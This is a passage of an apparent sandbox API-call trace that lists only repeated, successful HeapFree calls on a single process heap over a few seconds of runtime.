	[0185.213] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.215] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.217] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.221] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.223] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.225] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.482] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.486] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.490] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.490] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0185.490] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0185.490] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0185.493] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0185.501] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0185.502] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0185.509] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.510] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.510] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0185.516] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.517] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0185.518] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.519] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0185.523] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.524] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.526] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.529] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.530] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.530] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.531] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0185.531] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0185.533] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0185.533] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.821] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.822] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.822] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0185.822] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.822] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0185.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0185.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0185.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0185.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0186.289] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0186.289] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0186.289] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0186.290] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0186.295] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0186.295] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0186.295] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0186.739] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0186.743] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0186.747] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0186.754] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0186.755] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0186.755] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0186.755] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0186.755] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0186.756] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0186.756] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0186.758] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0186.758] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0186.759] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0186.759] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0186.759] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0186.759] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0186.759] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0186.761] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0186.762] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0186.762] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0186.762] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0186.766] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0186.767] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0186.767] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0186.767] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0186.767] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0186.768] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0186.768] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0186.768] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0186.771] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0186.772] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0187.072] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0187.076] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.479] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.533] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.540] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.541] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.541] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.543] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.544] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.546] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.546] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.546] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0187.550] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.550] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.550] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0187.550] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.551] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.551] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.551] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.551] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0187.551] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0187.551] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0187.553] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e20968 | out: hHeap=0x610000) returned 1
	[0188.092] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0188.503] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.503] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.504] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.504] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.507] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.507] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.507] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.508] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.508] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.508] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.509] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.509] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.509] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.509] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.510] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0188.510] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.511] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0188.511] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0188.512] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.512] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0188.512] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.513] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.513] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.513] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.514] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.516] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.516] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0188.518] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.518] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.518] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0188.518] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0188.518] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.518] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.519] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0188.519] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0188.519] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.519] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.519] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0188.520] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0188.521] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0188.527] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0188.529] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0188.529] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0188.529] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.531] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.536] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0188.536] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.829] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0188.830] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0188.830] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.834] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0188.834] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0188.834] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.834] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0188.838] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.839] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.839] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.839] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.840] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.840] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.840] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.840] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.840] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.841] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.841] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.841] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.841] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.842] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.842] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.842] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.842] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.855] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.856] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.856] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.856] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.856] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.856] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.857] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.857] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.857] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.857] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.857] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.858] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.858] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.858] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.858] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.858] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.859] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0188.859] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0188.859] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0188.859] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.862] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0188.862] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.073] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.073] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.073] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.079] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.079] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.079] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.080] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.080] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.080] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.080] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.080] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.081] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.081] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.081] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.081] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.081] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.082] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.082] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.082] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.082] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.083] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.083] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.083] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.083] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.083] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.084] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.084] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.084] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.084] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.084] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.085] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.085] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.085] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
